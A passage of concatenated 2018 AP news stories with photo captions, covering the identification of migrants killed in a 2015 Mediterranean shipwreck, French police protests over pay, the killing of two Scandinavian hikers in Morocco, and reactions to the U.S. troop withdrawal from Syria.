countries, from Bangladesh to the western tip of Mauritania, according to information from the two investigators, published accounts of survivors, Italian government documents, and families who fear their loved ones were among the lost passengers. One father, Cheikh Fofana, said his son called to say he was leaving soon for Europe. That was the last he heard from Tidiane. On the day before the peschereccio left from Libya, 12 rows of men, 100 to a row, lined up on the beach. At the last minute, a truck arrived filled with around 200 men from East Africa. Not everyone on the beach would fit on the peschereccio, although the smugglers managed to slip a few extra on board. The overcrowded boat made it 77 nautical miles off the coast of Libya, when it started to founder. Twenty-four bodies were fished out of the water and dropped off in nearby Malta. But Malta wouldn't accept the 28 survivors, who were then taken by the Italian coast guard to the Sicilian port city of Catania. The boat pulled up to the dock in the middle of the night, where a throng of volunteers tossed flowers and handed the survivors cellophane-wrapped care packages. Around this time, Fofana called his son's phone again. A stranger answered and told him Tidiane had left for Italy. "I know that if he is dead, there's nothing more I can do, by the grace of God. But let me know, is he alive? Is he dead?" Fofana said, his lined face twisting in anguish. It took a year to raise the hull from the sea floor and drag it to Italy. In her book released this month, Cattaneo described "a carpet of human silhouettes that stretched out across the area of the hold ... almost all face down, some in a fetal position, many swollen with putrefaction." In the end, Italy's government counted 547 victims, plus 325 skulls that Cattaneo keeps in her lab for further study. When it was time to find the families, Italy turned to Baraybar, the Peruvian forensic anthropologist. An intense man with enormous eyes that peer from behind button-lensed glasses, Baraybar started with the names of 27 young men from Mauritania whose families had reported them missing around April 2015 to the Red Cross. "You cannot just tell them a story and you cannot misrepresent who you are. You're not there to bring them a body bag or give them money," said Baraybar. During a trip to Mauritania, the 27 names led to 40 more to try to match against the DNA samples sequenced by Cattaneo in Italy. That led him to his most recent trip to Senegal, where he confirmed the higher count with people who had direct knowledge of how the boat was loaded. After nearly four years, Cattaneo and Baraybar are nearing their first identification - with hundreds more to go. Baraybar knows more about how the networks operate, more about the paths migrants take - and more about how to trace the dead. Like Cattaneo, he remains committed to pursuing the identities of the migrants who perished on the shipwrecked peschereccio. "Families do matter," he said. "And not knowing kills." ___ Lori Hinnant reported from Paris, Trisha Thomas from Rome, and Krista Larson from Goudiry, Senegal. FILE - In this Oct. 8, 2016 file photo, the hull of a fishing boat that capsized off the coast of Libya sits outside, at the NATO base in the Sicilian town of Melili, Italy. The story of the fishing boat known as the "peschereccio" and its passengers reflects how migrants can simply vanish worldwide, sometimes without a trace. (AP Photo/Salvatore Cavalli, File) FILE - In this Oct. 8, 2016 file photo, Cristina Cattaneo, right, and her team collect post-mortem data from shipwreck victims to obtain information for a future identification at the NATO base in the Sicilian town of Melilli, Italy. Cattaneo is one of two forensic investigators trying to keep Italy's promise to trace the identities of all the migrants killed when an overloaded fishing boat went down off the coast of Libya on April 18, 2015. (AP Photo/Salvatore Cavalli, File) FILE - In this Sept. 19, 2016 file photo, Cristina Cattaneo checks victims' personal belongings in a lab in Milan, Italy. Cattaneo is one of two forensic investigators trying to keep Italy's promise to trace the identities of all the migrants killed when an overloaded fishing boat went down off the coast of Libya on April 18, 2015. (AP Photo/Antonio Calanni, File) FILE - In this Oct. 8, 2016 file photo, Cristina Cattaneo, center, and members of her team collect post-mortem data from shipwreck victims to obtain information for identification at the NATO base in the Sicilian town of Melilli, Italy. Cattaneo is one of two forensic investigators trying to keep Italy's promise to trace the identities of all the migrants killed when an overloaded fishing boat went down off the coast of Libya on April 18, 2015. (AP Photo/Salvatore Cavalli, File) FILE - In this Oct. 8, 2016 file photo, a woman walks past rows of coffins at the NATO base in the Sicilian town of Melilli, Italy where forensic investigator Cristina Cattaneo, is one of two investigators trying to keep Italy's promise to trace the identities of all the migrants killed when an overloaded fishing boat went down off the coast of Libya on April 18, 2015. The vessel carried not 800 people, as initially believed, but more than 1,000. (AP Photo/Salvatore Cavalli, File) In this April 5, 2018 photo provided by the International Commission of the Red Cross, Jose Pablo Baraybar, forensic pathologist for the ICRC, speaks to residents of the village Melga, Mauritania, who believe they lost relatives in the April 18, 2015 shipwreck off the coast of Italy. explain their mission to gather ante-mortem data and collect DNA samples. "You cannot just tell them a story and you cannot misrepresent who you are. You're not there to bring them a body bag or give them money," said Baraybar. (ICRC via AP) In this Nov. 20, 2018 photo, Jose Pablo Baryabar, a forensic anthropologist from the International Committee of the Red Cross speaks during an interview in Paris. Baraybar is one of two forensic investigators leading the quest to name the victims of the Mediterranean's deadliest migrant shipwreck which occurred in April 2015. The investigation has led him to Africa, and the discovery that the shipwreck may have killed well over 1,000 people, rather than 800 as previously believed. (AP Photo/Thibault Camus) In this April 2018 photo provided by the International Commission of the Red Cross, forensic consultant Franco Mora Felix takes a DNA sample in the village of Boki Diame, Mauritania, from the relative of a missing migrant believed to have died in April 18, 2015 shipwreck in the Mediterranean Sea. (ICRC via AP) In this Nov. 25, 2018 photo, people walk down a street at dusk in Goudiry, Senegal. Many of the victims of the 2015 shipwreck are believed to have come from the Tambacounda region of Senegal, where economic prospects are few and many toil in agriculture despite growing desertification and a lack of modern farming equipment. (AP Photo/Felipe Dana) In this Nov. 26, 2018 photo, Mariama Konte, 20, stands inside her home in a village near Goudiry, Senegal. Konte, who married Abdrahamane when she was 12 and he was 21, is living the consequences of the family's decision in November to mourn him after nearly four years of waiting. Friends and neighbors told them they would feel better if they went ahead with the ceremony, as five other families from the same shipwreck already had. (AP Photo/Felipe Dana) In this Nov. 24, 2018 photo, Mariama Konte, 20, sits with her daughter, Maimouna, 7, and her son, Ibrahima, 4, inside their home in a village near Goudiry, Senegal. Konte, who married Abdrahamane when she was 12 and he was 21, is living the consequences of the family's decision in November to mourn him after nearly four years of waiting. Friends and neighbors told them they would feel better if they went ahead with the ceremony, as five other families from the same shipwreck already had. (AP Photo/Felipe Dana) In this Nov. 25, 2018 photo, Cheikh Fofana pushes his bicycle after working on a peanut field as the sun sets in Goudiry, Senegal. Fofana grieves for his son, Tidiane, even while refusing to officially acknowledge he is dead. Tidiane was one of 18 children; though the only one who noticed when his aging father or widowed aunt needed help. It was Tidiane who wanted to reach Europe to earn enough so that Fofana would never again have to ride his bicycle to the family's fields to work. (AP Photo/Felipe Dana) PARIS (AP) - France's frustrated police forces won a partial victory Thursday after demanding improved working conditions and back overtime from a government fearful the officers it depends on more than ever would start protesting on the streets they've been protecting. A terrorist attack last week in Strasbourg, more than five weeks of increasingly violent anti-government protests and the stepped-up demands of the Christmas holidays pushed officials to the negotiating table as saber-rattling unions made clear they were fed up. The unions called for a one-day work slowdown that was not observed at all police stations Wednesday, but the action managed to slow passenger check-ins at Paris' two main airports. Above all, it showed authorities that police officers - who aren't allowed to strike - have other ways to rebel. The Interior Ministry announced "real advances" Thursday from its two days of meetings with three leading police unions, notably an agreement on long-sought salary increases. The government also agreed to make good on decades of unpaid overtime pay totaling nearly 275 million euros ($313 million.) In addition, the ministry promised a "plan for deep transformation of the national police" to address a smoldering malaise the unions say resulted from officers feeling overworked, under-equipped and disrespected. Talks on compensation and work hours - perhaps the toughest part - are planned for January. Unions blame difficult working conditions for a suicide rate among police that is 36 percent higher than for the general population, according to a Senate report. More than 30 police officers have taken their own lives in 2018, many of them with their service revolvers. Riot police officers take position as demonstrators wearing yellow vests protest during a visit by French Foreign Minister Jean-Yves Le Drian in Biarritz, southwestern France, Tuesday, Dec. 18, 2018. Yellow vest protesters occupied dozens of traffic roundabouts across France even as their movement for economic justice appeared to be losing momentum on the fifth straight weekend of protests. (AP Photo/Bob Edme) The rate is higher among gendarmes, who unlike police are part of the military. In the last known suicide, a gendarme took his life in November in the garden of the prime minister's office. The Senate report published in July on how to overcome the "malaise" makes clear that the daily routine of a police officer can mean contending with dilapidated equipment, rundown cars, filthy stations and an out-of-touch management. The Union of Independent National Police ran an online photo contest for officers this year to highlight such problems. It yielded more than 700 images, with photo subjects such as police stations with cockroaches, holes in the walls and water leaks, as well as police cars driven for hundreds of thousands of kilometers. It was not possible to verify the authenticity of the photos. Guillaume Lebeau, vice president of a group called Mobilization of Angry Police, said in a video that some police wear bicycle helmets on the job because there aren't enough helmets designed for law enforcement. With protests in overdrive in France in recent years, when terror attacks have multiplied, burnout is not uncommon, aggravated by work and by living conditions for some called into major cities, the Senate report said. It noted that it is not unusual for officers brought into Paris for duty to pile up in small rooms or to sleep in their cars. Interior Minister Christophe Castaner vowed that things will change. He tweeted Thursday that equipment and buildings were part of a "first-of-a-kind effort for our security forces." He also acknowledged that "unacceptable situations remain," a reference to the unpaid overtime. While the negotiating unions crowed about advances, a mysterious group of police officers organized plans on social networks for a Thursday night demonstration in front of a station on Paris' Champs-Elysees Avenue. At that spot, police and gendarmes have confronted protesters with tear gas, water cannons and armored vehicles on multiple Saturdays since last month. About 80 people wearing police arm bands, some emergency workers and others gathered for the peaceful demonstration to show they are still angry. Some sported yellow vests in solidarity with the anti-government protesters. Like police, the yellow vest movement behind the recent protests is demanding improved buying power among its demands. Protesters sometimes hold up signs asking officers to back off because they share the same cause. The movement, which started with anger over fuel price hikes, is named after the fluorescent vests that French motorists must carry for emergencies. Nine people have died in protest-related incidents since mid-November, mainly at traffic roundabouts manned by protesters. "We don't have the means to be everywhere at the same time ... We have to make a choice and that's not normal," Lebeau of the Angry Police group said. Stickers are set up in protest on the entrance of the police station in Mantes-la-Jolie, west of Paris, Wednesday, Dec. 19, 2018. French authorities are suggesting they will bow to demands by police officers for decades of overtime pay, but officers nevertheless engaged in go-slows Wednesday, including at France's biggest airport, seeking to ensure that the payback matches intentions. (AP Photo/Christophe Ena) Stickers are set up in protest on the entrance of the police station in Mantes-la-Jolie, west of Paris, Wednesday, Dec. 19, 2018. French authorities are suggesting they will bow to demands by police officers for decades of overtime pay, but officers nevertheless engaged in go-slows Wednesday, including at France's biggest airport, seeking to ensure that the payback matches intentions. Posters red: Policemen: Considerartion. Anger Salary. (AP Photo/Christophe Ena) Policemen stand guard during a demonstration of students in Paris, Tuesday, Dec. 18, 2018. France's interior minister is to meet with representatives of police unions, following complaints about working conditions and calls for a work slowdown over what unions say are strained resources after five straight weekends of sometimes violent protests. (AP Photo/Christophe Ena) Policemen stand guard during a demonstration of students in Paris, Tuesday, Dec. 18, 2018. France's interior minister is to meet with representatives of police unions, following complaints about working conditions and calls for a work slowdown over what unions say are strained resources after five straight weekends of sometimes violent protests. (AP Photo/Christophe Ena) Policemen stand guard during a demonstration of students in Paris, Tuesday, Dec. 18, 2018. France's interior minister is to meet with representatives of police unions, following complaints about working conditions and calls for a work slowdown over what unions say are strained resources after five straight weekends of sometimes violent protests. (AP Photo/Christophe Ena) Policemen stand guard during a demonstration of students in Paris, Tuesday, Dec. 18, 2018. France's interior minister is to meet with representatives of police unions, following complaints about working conditions and calls for a work slowdown over what unions say are strained resources after five straight weekends of sometimes violent protests. (AP Photo/Christophe Ena) COPENHAGEN, Denmark (AP) - Authorities arrested three more suspects Thursday in the deaths of two Scandinavian university students who were killed in Morocco's Atlas Mountains. Moroccan authorities said the men detained in Marrakech and a fourth suspect pledged allegiance to the Islamic State group in a video. The office of Morocco's prosecutor said four men seen in the video that was circulating on Twitter and recorded last week were the same four in custody for the slayings of the young women, whose bodies were discovered Monday. Moroccan authorities had said they considered the killings in a remote region of the Atlas Mountains to be a terrorist act and were investigating if the suspects had extremist ties, but hadn't named a particular group. Other tourists found the two women, one from Norway and the other from Denmark, with stab wounds in their necks, according to national media in Morocco. Investigators have video surveillance footage showing three people putting up a tent near the victims' tent, the media outlets said. The footage also shows the three leaving the area, near a village that is a frequent starting point for treks to Mount Toubkal, North Africa's highest peak, the outlets said. Danish Prime Minister Lars Loekke Rasmussen confirmed the identities of the victims, 24-year-old Louisa Vesterager Jespersen, of Denmark, and Norwegian citizen Maren Ueland, 28. The University of South-Eastern Norway said both women were students at its campus in Boe, southern Norway. Tour guide Rachid shows the sight Thursday Dec. 20, 2018, where he says one of the women where found in the murder of two Scandinavian hikers whose bodies were found at a camp in Morocco's High Atlas mountains, about 10 Km (six miles) from the remote village of Imlil, Morocco. The victims found Monday Dec. 17, are confirmed as Maren Ueland from Norway and Louisa Vesterager Jespersen from Denmark, and four suspects have been detained in connection with the deaths. (Hege Pauline Hovig / NTB scanpix via AP) "What should have been a holiday trip turned into a nightmare" for the women, Loekke Rasmussen told reporters in Denmark. Earlier Thursday, Denmark's domestic security agency told The Associated Press that preliminary findings the investigation "indicate, according to Moroccan authorities, that the killings may be related to the terrorist organization the Islamic State group." The killings were "politically motivated and thus an act of terror," Denmark's Loekke Rasmussen said, without identifying the potential motives. "There are still dark forces that want to fight our values" and "we must not give in." In neighboring Norway, Prime Minister Erna Solberg said terrorism "is not the only lead that is being investigated in Morocco," but the case "emphasizes the importance of combating violent extremism." "We trust that Moroccan authorities are doing their utmost to arrest those responsible for the murders," she said at a news conference. The slayings have shocked Morocco, a popular tourist destination where attacks on foreigners are extremely rare. In the capital of Rabat, government spokesman Mustapha El Khalfi said Morocco condemned "this terrorist, criminal act." "It is an unacceptable act that does not fit with the values and traditions of Moroccan people nor the traditions of the area where the crime happened," Khalfi said Thursday. It is a denounced, condemned act." The three suspects arrested Thursday were stopped while they were trying to leave Marrakech on a bus, Moroccan national security spokesman Boubker Sabik said. The first suspect was arrested Tuesday, and authorities aren't pursuing others besides the four, Sabik said. A national security official who asked not to be named because he wasn't authorized to speak to the media said the three had knives and slingshots when they were arrested. The official identified them to The Associated Press as Abdessamad Ejjoud, born in 1993; Younes Ouziad, born in 1991; and Rashid Aftati, born in 1986. Morocco is generally considered safe for tourists but has battled with Islamic extremism for years. More than a thousand Moroccans are believed to have joined the Islamic State group. An anti-terrorism rally is being planned for Saturday in Rabat. ___ Amira El-Masaiti reported from Rabat, Morocco. The remote village of Imlil nestled on the slopes of the Atlas mountains in Morocco, Thursday Dec. 20, 2018, about 10 Km (six miles) from the spot where the bodies of two Scandinavian women were found. The victims found Monday Dec. 17, are confirmed as Maren Ueland from Norway and Louisa Vesterager Jespersen from Denmark, and four suspects have been detained in connection with the deaths. (Terje Bendiksby / NTB scanpix via AP) In this photo provided by Moroccan news channel 2M and taken on Tuesday, Dec. 18, 2018, a security team is seen at the area where the bodies of two Scandinavian women tourists were found dead, near Imlil in the High Atlas mountains, Morocco. The lone suspect arrested in the killing of two female Scandinavian tourists is connected to a terrorist group, and three other suspects are on the run, Moroccan prosecutors said Wednesday. (2M via AP) In this photo provided by Moroccan news channel 2M and taken on Tuesday, Dec. 18, 2018, a forensic team is seen at the area where the bodies of two Scandinavian women tourists were found dead, near Imlil in the High Atlas mountains, Morocco. The lone suspect arrested in the killing of two female Scandinavian tourists is connected to a terrorist group, and three other suspects are on the run, Moroccan prosecutors said Wednesday. (2M via AP) In this photo provided by Moroccan news channel 2M and taken on Tuesday, Dec. 18, 2018, a forensic team is seen at the area where the bodies of two Scandinavian women tourists were found dead, near Imlil in the High Atlas mountains, Morocco. The lone suspect arrested in the killing of two female Scandinavian tourists is connected to a terrorist group, and three other suspects are on the run, Moroccan prosecutors said Wednesday. (2M via AP) This photo provided Thursday, Dec.20, 2018 by 2M.ma shows un unidentified suspect in the killing of two Scandinavian tourists in Morocco. Moroccan authorities have arrested three more suspects in the killings of two Scandinavian tourists in Morocco's Atlas Mountains, as the Danish intelligence agency said it "may be related" to the Islamic State group. (2M.ma via AP) This photo provided Thursday, Dec.20, 2018 by 2M.ma shows un unidentified suspect in the killing of two Scandinavian tourists in Morocco. Moroccan authorities have arrested three more suspects in the killings of two Scandinavian tourists in Morocco's Atlas Mountains, as the Danish intelligence agency said it "may be related" to the Islamic State group. (2M.ma via AP) This photo provided Thursday, Dec.20, 2018 by 2M.ma shows un unidentified suspect in the killing of two Scandinavian tourists in Morocco. Moroccan authorities have arrested three more suspects in the killings of two Scandinavian tourists in Morocco's Atlas Mountains, as the Danish intelligence agency said it "may be related" to the Islamic State group. (2M.ma via AP) Denmarks Prime Minister Lars Loekke Rasmussen, Thursday Dec. 20, 2018, in the Prime Ministers office in Copenhagen, comments on the killings of a Danish and a Norwegian woman in Morocco. Rasmussen says the killings of two Scandinavian tourists in Morocco's Atlas Mountains can be considered "politically motivated and thus an act of terror." (Philip Davali/Ritzau via AP) BEIRUT (AP) - The United States' Kurdish allies had been gearing up for a new fight for weeks, digging trenches and defense tunnels in northeastern Syria in preparation for an offensive Turkey's president warned was imminent. On the ground, U.S. troops were bringing in reinforcements through the border with Iraq, beefing up patrols and observation points to prevent friction between the Turks and their Kurdish partners. Then, in a surprise announcement, President Donald Trump declared he was pulling all 2,000 U.S. troops out of Syria, declaring the Islamic State group had been vanquished. The move, conveyed in a tweet Wednesday, plunged the volatile region into profound uncertainty, leaving America's only allies in Syria in the lurch. The U.S. forces "were as surprised as we were" by the White House decision, said Mustafa Bali, spokesman for the Kurdish-led Syrian Democratic Forces. A quick and unplanned withdrawal of American forces opens the door for major turmoil as various groups rush to fill the political and security vacuum, giving leverage to America's enemies including Russia, Iran and President Bashar Assad's government. Experts warn the Islamic State group, currently fighting to hang on to its last pockets in Syria, would soon find its way back. "A full withdrawal sends the wrong signal, one that also will be heard by other counterterrorism partners far from Syria," said William F. Wechsler, senior adviser for Middle East programs at the Atlantic Council. In this April 4, 2018 photo, a U.S-backed Syrian Manbij Military Council soldier, left, speaks with a U.S. soldier, at a U.S. position near the tense front line with Turkish-backed fighters, in Manbij town, north Syria. President Donald Trump's decision to withdraw troops from Syria has rattled Washington's Kurdish allies, who are its most reliable partner in Syria and among the most effective ground forces battling the Islamic State group. Kurds in northern Syria said commanders and fighters met into the night, discussing their response to the surprise announcement Wednesday, Dec. 20, 2018. (AP Photo/Hussein Malla) Not surprisingly, Russian President Vladimir Putin welcomed Trump's decision, saying Thursday the U.S. forces should not have been in Syria to start with. A key ally of Assad, Russia's military intervention beginning in 2015 turned the tide of the war in the Syrian leader's favor. "I agree with the U.S. president, we have made significant progress in fighting terrorism on that territory and dealt serious blows to IS in Syria," the Russian leader said. But Trump, whose announcement contradicted his own experts' assessments, now faces major pushback and political pressure from the Pentagon and other U.S. officials not to withdraw from Syria. On Thursday, he defended his decision, saying on Twitter: "Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing? Do we want to be there forever?" The announcement of a pullout is widely seen as an abandonment of a loyal ally, even though America's partnership with the Kurds against the Islamic State group in Syria was always seen as a temporary marriage of convenience. With U.S. air support, the Kurds drove IS from much of northern and eastern Syria in a costly four-year campaign. In a strongly worded statement laced with bitterness, the Kurdish force said that a premature U.S. pullout before IS militants are defeated would have dangerous repercussions, including a resurgence of the extremist group and a destabilizing effect on the entire region. "The war against terrorism has not ended and (the Islamic State group) has not been defeated," the statement said, adding that the fight against IS was at a "decisive" stage that requires even more support from the U.S.-led coalition. "The decision to pull out under these circumstances will lead to a state of instability and create a political and military void in the region and leave its people between the claws of enemy forces," the statement said. Kurdish officials and commanders met into the night, discussing their response, local residents said. A war monitor said among the options seriously discussed was releasing thousands of Islamic State militants and their families detained in prisons and camps run by the Kurdish forces. It was not clear whether any decision was made, and Kurdish commanders made no mention of the discussions. The U.S. announcement came at a particularly tense moment in northern Syria. Turkish President Recep Tayyip Erdogan has repeatedly threatened to launch a new offensive against the Kurds but in recent days had stepped up the rhetoric, threatening an assault could begin "at any moment." Turkey views the People's Protection Units, or YPG, the main component of the Syrian Democratic Forces, as a terrorist group and an extension of the insurgency within its borders. U.S. support for the group has strained ties between the two NATO allies. The Syrian government ultimately wants a foothold back into the oil-rich east, and the loss of U.S. support may push Kurdish forces into negotiating with the Damascus government. This shift in turn would open the door for Iranian-backed militias to enter the region. "For the Syrian government, I think this is music to its ears," said Maha Yahya, director of Carnegie Middle East Center. She said a U.S. pullout will force Kurdish forces to negotiate with the regime with a bargaining position that has now been considerably weakened. Israeli Prime Minister Benjamin Netanyahu weighed in Thursday, saying Israel will "intensify" its activity in Syria to prevent Iranian entrenchment following the withdrawal of American forces. Israel's main interest in Syria is to prevent its archenemy Iran from establishing a permanent military presence there, and to block sophisticated Iranian arms from reaching Hezbollah forces in Lebanon. Israel has carried out hundreds of airstrikes during the Syrian civil war, mainly against suspect arms shipments allegedly bound for Hezbollah. Although the U.S. has not actively assisted Israel in this mission, the presence of U.S. forces in Syria has served as a deterrent to Israel's enemies. Ebrahim Ebrahim of the Syrian Democratic Council, the political wing of the SDF, called Trump's decision "treason" and said there is fear among residents in northern Syria that Turkey will invade the region following a U.S. withdrawal, and that government forces and IS militants will attack areas held by the Kurdish forces. "The American withdrawal will be the trigger that blows up the region," he added. ___ Associated Press writers Bassem Mroue and Andrea Rosa in Beirut, Vladimir Isachenkov in Moscow and Josef Federman in Jerusalem contributed to this report. This photo provided by Ronahi TV, a Kurdish television channel, that is consistent with independent AP reporting, shows Kurdish protesters holding portraits of loved ones who died fighting the Islamic State group, during a protest outside a U.S.-led coalition base, in Jalabiya village, southeast of Kobani, Syria, Thursday, Dec. 20, 2018. Thousands of Syrians have gathered to protest Turkish threats of an imminent offensive. (Ronahi TV via AP) In this April 4, 2018 photo, a U.S. soldier stands in a newly installed position near the front line between the U.S-backed Syrian Manbij Military Council and the Turkish-backed fighters, in Manbij, north Syria. President Donald Trump's decision to withdraw troops from Syria has rattled Washington's Kurdish allies, who are its most reliable partner in Syria and among the most effective ground forces battling the Islamic State group. Kurds in northern Syria said commanders and fighters met into the night, discussing their response to the surprise announcement Wednesday, Dec. 20, 2018. (AP Photo/Hussein Malla) In this April 4, 2018 photo, a U.S. soldier waves as he sits on an armored vehicle, at a road leading to the tense front line with Turkish-backed fighters, in Manbij town, north Syria. President Donald Trump's decision to withdraw troops from Syria has rattled Washington's Kurdish allies, who are its most reliable partner in Syria and among the most effective ground forces battling the Islamic State group. Kurds in northern Syria said commanders and fighters met into the night, discussing their response to the surprise announcement Wednesday, Dec. 20, 2018. (AP Photo/Hussein Malla) In this Nov. 1, 2018, photo released by the U.S. Army, soldiers surveil the area during a combined joint patrol in Manbij, Syria. The United States' main ally in Syria on Thursday, Dec. 20, 2018, rejected President Donald Trump's claim that Islamic State militants have been defeated and warned that the withdrawal of American troops would lead to a resurgence of the extremist group. (U.S. Army photo by Spc. Zoe Garbarino via AP) In this Nov. 7, 2018, photo released by the U.S. Army, U.S. soldiers gather for a brief during a combined joint patrol rehearsal in Manbij, Syria. The United States' main ally in Syria on Thursday, Dec. 20, 2018, rejected President Donald Trump's claim that Islamic State militants have been defeated and warned that the withdrawal of American troops would lead to a resurgence of the extremist group. (U.S. Army photo by Spc. Zoe Garbarino via AP) In this Sept. 10, 2018, photo released by the U.S. Marines, Marines with Weapons Company, 3rd Battalion, 7th Marine Regiment, fire mortars from an undisclosed location in Syria. The United States' main ally in Syria on Thursday, Dec. 20, 2018, rejected President Donald Trump's claim that Islamic State militants have been defeated and warned that the withdrawal of American troops would lead to a resurgence of the extremist group. (U.S. Marine Corps photo by Cpl. Gabino Perez via AP) FILE - In this April 4, 2018, file photo, a U.S. soldier sits on an armored vehicle on a road leading to the front line with Turkish-backed fighters, in Manbij, north Syria. The United States' main ally in Syria on Thursday, Dec. 20, 2018, rejected President Donald Trump's claim that Islamic State militants have been defeated and warned that the withdrawal of American troops would lead to a resurgence of the extremist group. (AP Photo/Hussein Malla, File) FILE - This Wednesday, April 4, 2018, file photo shows a U.S. position, installed near the tense front line between the U.S-backed Syrian Manbij Military Council and the Turkish-backed fighters, in Manbij, north Syria. The United States' main ally in Syria on Thursday, Dec. 20, 2018, rejected President Donald Trump's claim that Islamic State militants have been defeated and warned that the withdrawal of American troops would lead to a resurgence of the extremist group.(AP Photo/Hussein Malla, File) FILE - In this file picture taken on Thursday, March 29, 2018, a fighter, second from right, of U.S-backed Syrian Manbij Military Council stands next to U.S. humvee at a U.S. troop's outpost on a road leading to the tense front line between Syrian Manbij Military Council fighters and Turkish-backed fighters, at Halawanji village, north of Manbij, Syria. The United States' main ally in Syria on Thursday, Dec. 20, 2018, rejected President Donald Trump's claim that Islamic State militants have been defeated and warned that the withdrawal of American troops would lead to a resurgence of the extremist group.(AP Photo/Hussein Malla, File) FILE - In this April 4, 2018 file photo, a U.S-backed Syrian Manbij Military Council soldier passes a U.S. position near the tense front line with Turkish-backed fighters, in Manbij, north Syria. U.S. President Donald Trump's decision Wednesday Dec. 19, 2018, to withdraw U.S. troops from Syria has rattled Washington's Kurdish allies, who are its most reliable partner in Syria and among the most effective ground forces battling the Islamic State group. (AP Photo/Hussein Malla, File) In this Thursday, April 5, 2018 photo, a man removes rubble from his house that was damaged during fighting between U.S.-backed Syrian Democratic Forces fighters and Islamic State militants, in Raqqa, Syria. U.S. President Donald Trump's decision Wednesday Dec. 19, 2018, to withdraw U.S. troops from Syria has rattled Washington's Kurdish allies, who are its most reliable partner in Syria and among the most effective ground forces battling the Islamic State group. (AP Photo/Hussein Malla, FILE) BEIRUT (AP) - The Latest on the Trump administration's decision to withdraw U.S. troops from Syria (all times local): 10:50 p.m. Russia's U.N. Ambassador Vassily Nebenzia says "the pullout of all foreign forces which are in Syria illegally" would be a positive start to help stabilize the country and spur efforts toward a political solution of the seven-year war. Nebenzia was responding to a question at a U.N. panel on Wednesday about Russia's reaction to U.S. President Donald Trump's announcement that all U.S. troops will leave Syria. The Russian ambassador, whose country is a key ally of Syria, said it would fulfill a promise that Trump made. In his words, "If that happens ... I think that would be a good start for our fruitful future cooperation on the credible political process in Syria." This photo provided by Ronahi TV, a Kurdish television channel, that is consistent with independent AP reporting, shows Kurdish protesters holding portraits of loved ones who died fighting the Islamic State group, during a protest outside a U.S.-led coalition base, in Jalabiya village, southeast of Kobani, Syria, Thursday, Dec. 20, 2018. Thousands of Syrians have gathered to protest Turkish threats of an imminent offensive. (Ronahi TV via AP) He added, "I personally think that the pullout of all foreign forces which are in Syria illegally, illegitimately, and are de facto occupying much parts of the country will only help and facilitate the stabilization that we have been witnessing in Syria, especially in the last year." He also said the amnesty that Syria's government has offered to those who lay down their arms "will only go faster" if foreign troops leave and "if we finally see the separation and delineation between the terrorist groups and the so-called moderate opposition." ___ 8:35 p.m. The U.N. special envoy for Syria says "an extra mile" is needed to form a committee to draft a new constitution for the conflict-torn country because a list of participants submitted by Russia, Iran and Turkey is unacceptable to the United Nations. Staffan de Mistura said in his final briefing to the Security Council on Thursday before stepping down on Dec. 31 that the 50-member list was unbalanced, dropped experienced experts who are "natural bridge builders," and "needs a further review and revision." Forming a constitutional committee, which is key to holding free elections and hopefully ending the seven-year civil war, has been dogged by objections from the Syrian government over the list which the U.N. was authorized to draw up representing civil society, experts, independents, tribal leaders and women. ___ 8 p.m. A bipartisan group of senators is urging President Donald Trump to abandon his plan to withdraw U.S. troops from the war in Syria. Sens. Lindsey Graham of South Carolina, Bob Menendez of New Jersey and Jack Reed of Rhode Island say they have growing support for a resolution urging the president to change his strategy. Trump abruptly decided to withdraw troops against the advice of top military and diplomatic leaders. The move blindsided lawmakers on Capitol Hill. Graham on Thursday said Trump's decision is being celebrated by leaders in Russia, Iran and terrorist camps of the Islamic State group. He added, "We are all worried about the consequences." Graham said a big bipartisan group would support Trump if he reversed course. ___ 7:50 p.m. Israel's prime minister says he has spoken to President Donald Trump about Syria. Benjamin Netanyahu's office said late Thursday that the two leaders discussed "ways to continue cooperation between Israel and the United States against Iranian aggression." Earlier Thursday, Netanyahu said Israel would increase its activity in Syria against Iran following the U.S. decision to withdraw forces from the country. Israel says it will not allow archenemy Iran to establish a permanent military presence in Syria. It has carried out scores of airstrikes in recent years, primarily to prevent Iran from shipping what it says are sophisticated weapons to Hezbollah. ___ 7:30 a.m. The political coordinator at the U.S. Mission to the United Nations says the United States remains committed to the permanent destruction of the Islamic State group and other terrorist groups in Syria and around the world. Rodney Hunter spoke at a U.N. Security Council meeting on Syrian political developments. "As we have said, we will use all instruments of our national power to press for a withdrawal of Iranian-backed forces," he said Thursday. "We will continue to work together with our allies to fight terrorism," he added. Hunter spoke following an announcement by Trump that he intends to pull U.S. troops from northern Syria. He also said the U.S. will continue to advance a peaceful, diplomatic solution to the Syrian crisis. ___ 7:20 p.m. A senior French official says France does not "share the assessment" of U.S. President Donald Trump that the fight against the Islamic State group in Syria is over. The official, who was not authorized to speak publicly, said Thursday that French President Emmanuel Macron phoned Trump earlier this week to "tell him to continue the fight against" IS. The official said Macron told him the withdrawal if "made too quickly, would affect not only stability in the region, but also the security of the people and the Syrian Democratic Forces." U.S. officials said Wednesday that President Donald Trump is pulling all 2,000 U.S. troops out of Syria, as the president suddenly declared victory over IS. --Samuel Petrequin ___ 3:30 p.m. Thousands of Syrians have gathered outside the headquarters for the U.S.-led coalition in northern Syria to protest Turkish threats of an imminent offensive. The protesters congregating in Jalabiya southeast of Kobani city are demanding a clear stance from the coalition on threats by Turkish President Recep Tayyip Erdogan to strike at U.S.-backed Kurdish fighters in northern Syria. Turkey views the main Kurdish militia in Syria as a terrorist group and an extension of the insurgency within its borders. U.S. support for the group has strained ties between the two NATO allies. The protesters held banners in Kurdish and Arabic denouncing the Turkish threats as well as pictures of loved ones who died fighting the Islamic State group alongside U.S. troops. ___ 3 p.m. President Donald Trump is defending his decision to pull U.S. troops out of Syria. Trump tweets Thursday: "Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing? Do we want to be there forever?" Officials announced Thursday that Trump was pulling all 2,000 U.S. troops out of Syria, as Trump declared victory over the Islamic State. But the move contradicted his own experts' assessments and sparked surprise and outrage from his party's lawmakers. Trump said Thursday that his decision in Syria should be "no surprise," adding "I've been campaigning on it for years." ___ 2:40 p.m. Germany is expressing concern that the U.S. decision to withdraw troops from Syria could undermine efforts to combat the Islamic State group. Foreign Minister Heiko Maas said in a statement Thursday that "the abrupt change of course by the American side comes as a surprise not only for us." He said that while IS has been pushed back, "the threat is not yet over." Maas says "there is a danger that the consequences of this decision could damage the fight against IS and endanger the successes that have been achieved." He pointed to "underground structures" and 